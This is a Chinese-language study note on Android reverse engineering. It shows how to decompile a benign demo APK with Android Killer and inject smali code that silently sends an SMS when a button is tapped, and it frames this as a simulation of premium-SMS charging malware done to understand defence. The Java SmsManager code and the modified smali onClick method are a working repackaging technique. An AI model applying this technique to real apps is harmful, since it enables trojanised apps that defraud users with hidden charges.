安卓软件安全与逆向分析学习笔记破解一个小Demo

今天做一个模拟非法破解游戏过程的小Demo,目的在于熟悉一下制作乱扣费软件的思路和流程。相信这种软件大家都见过,安装这些软件后,软件后台会自动下载其他病毒软件/文件,或者偷偷发送扣费短信等。
分析前准备:
安卓开发环境(包括JDK、SDK、Eclipse、AndroidStudio或者其他IDE工具);
Android Killer(将APK反编译的工具,同时具备重新编译、签名等功能);
完整思路:

使用MyEclipse(其他亦可)编写一个简单的APP命名为Test1,Test1代表尚未被修改的正常游戏(应用),Test1只有一个按钮,且动作监听里没有写任何内容,代码如下:

为了方便测试,manifest文件里我们提供发短信权限,虽然暂时没用:
   
    Button button=(Button)findViewById(R.id.button);
        button.setOnClickListener(new OnClickListener() {
            
            @Override
            public void onClick(View v) {
                
            }
        })

编译Test1生成apk。

接下来,我们通过反编译,将Test1修改为点击按钮发送短信。

将Test1的APK文件导入AndroidKiller,发现,代码全部变成以.smali为尾缀的文件,结构如下:

安卓软件安全与逆向分析学习笔记破解一个小Demo_第1张图片




      找到MainActivity$1.smali文件,该文件即是Test1项目中的MainActivity里的点击事件。只要对该文件中的按钮点击事件(onClick)修改,即可达到添加发送短信的需求。双击打开该文件,显示的是smali语法,对smali语法十分熟悉的同学可以直接读懂代码并对其进行修改,但是我目前只懂得一些简单的语法和规则,没有能力直接修改smali代码来增加发短信的功能.所以这里我采用编写一个发短信代码,对代码编译后再反编译生成需要的smali代码,逻辑如下:
            
发送短信Java代码----> .smali代码----> 拷贝并植入Test1


所以,再编写一个自动发送短信的APP命名为Test2,Test2在onCreate里执行发送短信的代码,模拟乱扣费APP,我们把发送扣费短信的代码单独放在一个Send类里,代码如下:
需要在Mainefest文件里添加发短信权限。

public class send {

            public void sendmsg(){
                SmsManager smsMgr = SmsManager. getDefault (); 
                 smsMgr .sendTextMessage( "填写电话号码" , null , "短信内容" , null , null );
                
           
     }
}

再在Test2的OnCre ate直接调用:
@Override
      protected void onCreate(Bundle savedInstanceState ) {
            super .onCreate( savedInstanceState );
           setContentView(R.layout. activity_main );    
            new send().sendmsg();
     }

代码很简单,我们看下Test2的运行后短信发送是否成功:

安卓软件安全与逆向分析学习笔记破解一个小Demo_第2张图片


可见代码是可以发送出去的。

Android Killer导入Test2,打开smali包找到send.smali和MainActivity.smali如下图所示:

安卓软件安全与逆向分析学习笔记破解一个小Demo_第3张图片



将send.smali拷贝到Test1的对应目录下,注意,这里的对应目录是指和在Test2里一样的目录即com.example.test2下,没有的话需要新建。这是因为smali的类的使用都是带有完整路径的,与其修改smali代码引用,不如按照原有代码新建目录,在处理复杂代码时尤为有效。
拷贝send.smali到对应目录后,打开Test2的MainActivity.smali,拷贝调用send的代码,如果对smali不熟悉,可以点击转换为Java代码的按钮,这样就可以以java代码的方式查找了。
安卓软件安全与逆向分析学习笔记破解一个小Demo_第4张图片

找到如下所示的代码,该代码即是new send().sendmsg();



拷贝到Test1的动作监听onClick里(文件是MainActivity$1.smali),如下所示:

.method public onClick(Landroid/view/View;)V
    .locals 1
    .param p1, "v"    # Landroid/view/View;
     new-instance v0, Lcom/example/test1/send;
    invoke-direct {v0}, Lcom/example/test1/send;->()V
    invoke-virtual {v0}, Lcom/example/test1/send;->sendmsg()V
    .prologue
    .line 26
    return-void
.end method

细心地同学会发现,该方法的.locals 0变成了 locals 1。locals代表局部变量。这里我们执行了new send().sendmsg();新建了一个对象,所以对应的locals 要+1。

到此,代码植入结束,重新编译得到xxxx-killer.apk,运行,点击按钮,短信发送成功。


安卓软件安全与逆向分析学习笔记破解一个小Demo_第5张图片



总结:
这次小Demo是从一个破解者的角度出发的,从事非法破解工作的人大都是下载一个正常的APK(如Test1.apk),通过反编译,向其中添加病毒、扣费、广告等再重新发布出去。为了保证自己的软件不被非法利用,我们应该站在对方的角度思考软件安全的问题。
在安卓6.0之后,权限都是动态申请的,对于发送短信,我们一般会及时的收到提示,除非已经授权或者授予了root权限,安全性得到了很大的提升。但是,抛砖引玉,如果apk不是通过短信,而是网络链接扣费或者别的方式危害手机,我们分析的思路应该是相同的。
后面是浩瀚的知识海洋,起航!与君共勉!
刚开始写,肯定有很多问题和错误,希望各位积极指正,谢谢。全军出击(((ꎤ'ω')و三 ꎤ'ω')-o≡

你可能感兴趣的:(安卓软件安全与逆向分析学习笔记破解一个小Demo)